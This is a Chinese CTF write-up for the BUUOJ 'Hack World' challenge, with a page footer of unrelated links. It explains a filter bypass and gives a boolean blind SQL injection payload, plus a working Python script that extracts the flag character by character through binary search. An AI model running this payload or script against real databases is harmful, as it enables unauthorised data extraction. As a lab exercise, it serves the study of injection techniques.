zoukankan      html  css  js  c++  java
  • BUUOJ | [CISCN2019 华北赛区 Day2 Web1]Hack World(SQL布尔盲注)

    题目地址

    用浏览器连接靶机,看到以下页面

    右键查看源代码,发现上传用的是 post 请求,根据提示知道 flag 位于 flag 表中的 flag 字段里

    搜索框输入 1 或 2 会返回结果,其余返回 bool(false)

    尝试注入 1 union select group_concat(flag) from flag.flag 返回 SQL Injection Checked.

    是因为后端过滤了 union、and、or、空格等,包括 /**/

    输入 1/1 时会正常返回结果,可以判断这是数字型的sql注入,考虑布尔盲注

    思路比较简单,用 select 在数据库中提取 flag 各位字母,用二分法(比直接枚举快一点)逐位爆破

    sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid)

    如果最外层括号(是否大于的判断表达式)值为 True,与 0 异或中仍为 True,反之为 False

    import requests
    url = 'http://14948c07-2813-4b23-b374-a72b794b079f.node3.buuoj.cn/index.php'
    flag = ''
    def check(payload):
        # print (payload)
        upload = { 'id' : payload }
        text = requests.post(url, data = upload).text
        if ('Hello') in text: # 表达式为真时会返回 id = 1 的结果
            return True
        return False
    for i in range(1,50):
        l = 0; r = 255; // [0,255] 所有 ASCALL 字符区间
        while (l<=r):
            mid = (l + r) >> 1
            sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid) #注意不能留空格,一开始错了
            if (check(sql)):
                l = mid + 1
            else:
                r = mid - 1
        flag += chr(l)
        print (flag)
    
  • 相关阅读:
    docker常用命令
    Jenkins 插件开发记录
    【转】python作用域
    git备忘录
    【笔记】script.sh: source: not found in docker 问题
    (转)JavaScript判断浏览器类型及版本
    (转)webstorm快捷键
    (转)javaScript call 函数的用法说明
    (转载)记录函数 getStyle() 获取元素 CSS 样式
    (转)resize扩展
  • 原文地址:https://www.cnblogs.com/zhwer/p/13353995.html
Copyright © 2011-2022 走看看